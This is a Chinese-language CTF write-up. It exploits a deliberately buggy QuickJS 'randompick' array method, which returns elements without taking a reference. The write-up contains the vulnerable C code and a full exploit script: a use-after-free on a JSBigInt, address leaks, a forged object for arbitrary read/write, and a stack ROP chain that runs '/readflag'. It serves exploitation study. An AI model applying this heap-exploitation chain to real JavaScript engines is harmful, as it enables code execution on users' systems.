:)
 
漏洞 给array加了个方法,在array中任意选择一个obj返回,但没有增加refcount,可以uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static  JSValue js_array_randompick (JSContext *ctx, JSValueConst this_val,                            int  argc, JSValueConst *argv)  {     JSValue obj, ret;     int64_t  len, idx;     JSValue *arrp;     uint32_t  count;     obj = JS_ToObject (ctx, this_val);     if  (js_get_length64 (ctx, &len, obj))         goto  exception;     idx = rand () % len;     if  (js_get_fast_array (ctx, obj, &arrp, &count) && idx < count) ret = (JSValue) arrp[idx];     else  {         int  present = JS_TryGetPropertyInt64 (ctx, obj, idx, &ret);         if  (present < 0 )             goto  exception;         if  (!present)             ret = JS_UNDEFINED;     }     JS_FreeValue (ctx, obj);     return  ret;  exception:     JS_FreeValue (ctx, obj);     return  JS_EXCEPTION; }
 
目标对象 js解释器的题可以通过这种👇方式进行任意读写。用ArrayBuffer->buf占位uaf obj,然后通过BigUint64Array等视图读写obj结构体,控制buf指向目标读写地址进行任意读写
 
但在这道题的情况下,需要先通过randompick方法free obj再分配给ArrayBuffer->buf,再分配的时候obj已经被清空了,无法leak地址
我最开始想通过普通的array来占位uaf obj,类似这样(用-1标记obj,7标记整数):
1 2 3 4 5 6 7 8 9 target = [{}, 0xdeadbeefn , {}]
 
但普通的array是用realloc申请空间的,不好占位…… 
后来通过discord的exp发现了这么一个结构体:
1 2 3 4 5 6 7 typedef  struct  JSBigInt  {     JSRefCountHeader header;      uint32_t  len;      js_limb_t  tab[];  } JSBigInt;
 
在一个数字后标记n表示一个大整数,大于4字节的整数用这样一个结构体👆表示,quickjs的大整数是不限长度的,JSBigInt->len表示大整数的长度(单位bit),改大len就能越界读了;且整个结构体没有指针,非常完美~
Exp 选择JSBigInt作为uaf obj,改大len越界读写泄漏地址,然后再uaf一次伪造obj进行任意读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 const  pad1 = "a" , pad2 = "a" , pad3 = "a" , pad4 = "a" const  map = [0xffffffffffffffffn ] map.randompick () map.randompick () map.randompick ()let  buf = new  ArrayBuffer (0x10 )let  array = new  Uint32Array (buf) array[0 ] = 2  array[1 ] = 0x100  heapbase = ((map[0 ] >> (35n  * 0x40n )) & 0xffffffffffffffffn ) - 0xcf2n  pie = ((map[0 ] >> (36n  * 0x40n )) & 0xffffffffffffffffn ) - 0xf2660n console .log (heapbase.toString (16 ))console .log (pie.toString (16 ))for  (let  i = 0n ; i < 0x100n ; i++){     console .log (i, ((map[0 ]>>(i*0x40n )) & 0xffffffffffffffffn ).toString (16 )) }let  tmp1 = [{}, {}, {}]let  map1 = [{}] map1.randompick () tmp1[0 ] = null  tmp1[1 ] = null let  buf1 = new  ArrayBuffer (0x48 )let  array1 = new  BigUint64Array (buf1) array1[0 ] = 0x1d0d0000000002n  array1[3 ] = 0x7b00000000n  array1[4 ] = heapbase + 0x20000n  array1[7 ] = pie + 0xf4fc8n  array1[8 ] = 0x100n let  libcbase = map1[0 ][0 ] - 0x2a5b0n let  stack = map1[0 ][34 ]console .log (libcbase.toString (16 ))console .log (stack.toString (16 )) array1[7 ] = heapbase + 0x20000n  map1[0 ][0 ] = 0x616c66646165722fn  map1[0 ][1 ] = 0x67n  array1[7 ] = stack - 0x498n  map1[0 ][0 ] = libcbase + 0x28882n  map1[0 ][1 ] = libcbase + 0x119fdcn  map1[0 ][2 ] = heapbase + 0x20000n  map1[0 ][3 ] = libcbase + 0x5c110n  
 
一点题外话 在discord找了个exp,有这么一段
1 2 3 4 5 6 7 8 9 10 11 arr = [0xfffffffffffffffffffn ] num = arr.randompick () num2 = arr.randompick () num3 = arr.randompick ()delete  numdelete  num3 heap_leak = (num2>>(5n *0x40n )) & 0xffffffffffffffffn  libc_leak = (num2>>(7n *0x40n )) & 0xffffffffffffffffn  - 0x210c50n console .log (heap_leak.toString (16 ))console .log (libc_leak.toString (16 ))
 
但理论上来说delete只对对象属性起效,这么写应该会false才对
后来才注意到这个声明没用let,后来查到这种隐式声明 相当于给全局对象增加一个属性,所以是有效的
1 2 num = 114514n console .log (globalThis)
 
1 2 $  qjs tmp.js  { console: { log: [Function] }, performance: { now: [Function] }, scriptArgs: [ "tmp.js" ], print: [Function print], num: 114514n }
 
虽然跟这道题没什么关系,樂 
做这道题的时候重新想起了被v8支配的恐惧,这种js解释器的题最恶心的就是代码但凡有一点小变化整个堆布局大动……
 
后来发现可以随便塞点变量调堆,别管为什么有用就行(
1 const  pad1 = "a" , pad2 = "a" , pad3 = "a" , pad4 = "a"